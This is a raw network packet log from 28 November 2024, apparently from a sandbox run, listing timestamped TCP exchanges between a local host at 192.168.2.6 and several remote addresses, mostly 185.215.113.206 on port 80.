Nov 28, 2024 15:17:46.368271112 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.368413925 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.369049072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.369102955 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.369141102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.369262934 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.369956017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.370013952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.370016098 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.370254040 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.370891094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.370959044 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.371036053 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.371087074 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.371881962 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.371951103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.371988058 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.372148991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.372699976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.372750998 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.372756004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.372827053 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.373655081 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.373794079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.373850107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.374535084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.374594927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.374630928 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.374830008 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.375444889 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.375509024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.375571012 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.375623941 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.376367092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.376415968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.376477003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.376966000 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.377279997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.377335072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.377413988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.377470970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.378190994 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.378297091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.378395081 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.379122019 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.379174948 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.379211903 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.379362106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.380059958 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.380114079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.380151033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.380393028 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.380995035 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.381047010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.381129026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.381181002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.381875038 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.381947041 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.381997108 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.382771015 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.382885933 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.382944107 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.383701086 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.383755922 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.383794069 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.383835077 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.384680033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.384783030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.384839058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.385525942 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.385606050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.385628939 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.385873079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.386437893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.386487007 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.386532068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.386576891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.387346029 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.387396097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.387439966 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.387623072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.388272047 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.388329029 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.388365030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.388573885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.389178991 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.389240026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.389296055 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.389399052 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.390105963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.390227079 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.390294075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.391005993 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.391060114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.391088963 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.391305923 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.391956091 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.392011881 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.392066002 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.392189026 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.392841101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.392884970 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.392955065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.393448114 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.393774033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.393865108 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.393909931 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.394695044 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.394740105 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.394808054 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.394845963 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.395610094 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.395683050 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.395729065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.396188974 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.396516085 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.396616936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.396681070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.397403955 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.397526026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.397583961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.398355007 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.398417950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.398462057 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.398566961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.399235010 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.399288893 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.399368048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.399455070 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.400166988 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.400218010 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.400266886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.400391102 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.401086092 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.401145935 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.401206017 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.401324034 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.401992083 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.402112961 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.402124882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.402260065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.402916908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.402977943 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.403059006 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.403132915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.403848886 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.403904915 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.403943062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.404787064 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.404851913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.404870987 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.405605078 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.405642033 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.405754089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.406244993 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.406596899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.406713009 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.406769991 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.407496929 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.407553911 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.407579899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.407792091 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.538646936 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.541455984 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.541620016 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.541654110 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.543606997 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.544199944 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.544509888 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.544533968 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.545113087 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.545126915 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.545413017 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.545437098 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.545572042 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.545629978 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.545922995 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.545986891 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.546137094 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.546189070 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.546314955 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.546324015 CET	443	49875	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.546644926 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.546700954 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.546778917 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.548026085 CET	49779	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:46.548055887 CET	443	49779	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:46.562006950 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.562026024 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.562088966 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.562316895 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.562438965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.562488079 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.563057899 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.563168049 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.563220024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.563967943 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.564045906 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.564071894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.564871073 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.564985037 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.565011978 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.565027952 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.565813065 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.565917969 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.565965891 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.566715956 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.566775084 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.566824913 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.567641973 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.567688942 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.567711115 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.567838907 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.568520069 CET	443	49871	20.199.58.43	192.168.2.6
Nov 28, 2024 15:17:46.568538904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.568578959 CET	49871	443	192.168.2.6	20.199.58.43
Nov 28, 2024 15:17:46.568603992 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.568643093 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.568794012 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.569474936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.569520950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.569591999 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.569688082 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.570403099 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.570450068 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.570647001 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.570691109 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.571283102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.571331024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.571355104 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.571486950 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.572241068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.572504997 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.572513103 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.572550058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.573118925 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.573157072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.573282003 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.573327065 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.574032068 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.574165106 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.574199915 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.574327946 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.574940920 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.575016022 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.575067997 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.575865030 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.576052904 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.576095104 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.576791048 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.576904058 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.577023983 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.577068090 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.577692986 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.577790976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.577799082 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.577847004 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.578612089 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.578653097 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.578706980 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.578763962 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.579525948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.579613924 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.579643965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.579750061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.580420971 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.580460072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.580591917 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.580635071 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.581360102 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.581401110 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.581465960 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.581547976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.582321882 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.582397938 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.582417965 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.582545996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.583185911 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.583282948 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.583283901 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.583326101 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.584105968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.584145069 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.584216118 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.584252119 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.585025072 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.585134983 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.585314989 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.585378885 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.585971117 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.586112976 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.586236000 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.586348057 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.586853027 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.586899996 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.586978912 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.587054968 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.587336063 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.587771893 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.587893009 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.587903976 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.587939024 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.588687897 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.588782072 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.588951111 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.588989973 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.589591026 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.589664936 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.589749098 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.590521097 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.590579033 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.590672970 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.590781927 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.591427088 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.591545105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.591593981 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.592341900 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.592390060 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.592466116 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.592601061 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.593251944 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.593293905 CET	49875	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.593305111 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.593305111 CET	49876	443	192.168.2.6	13.107.246.40
Nov 28, 2024 15:17:46.593321085 CET	443	49876	13.107.246.40	192.168.2.6
Nov 28, 2024 15:17:46.593374968 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.593419075 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.594173908 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.594238043 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.594275951 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.594316006 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.595091105 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.595177889 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.595194101 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.595280886 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.596008062 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.596101999 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.596129894 CET	80	49804	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:46.596174002 CET	49804	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:46.596918106 CET	80	49804	185.215.113.206	192.168.2.6
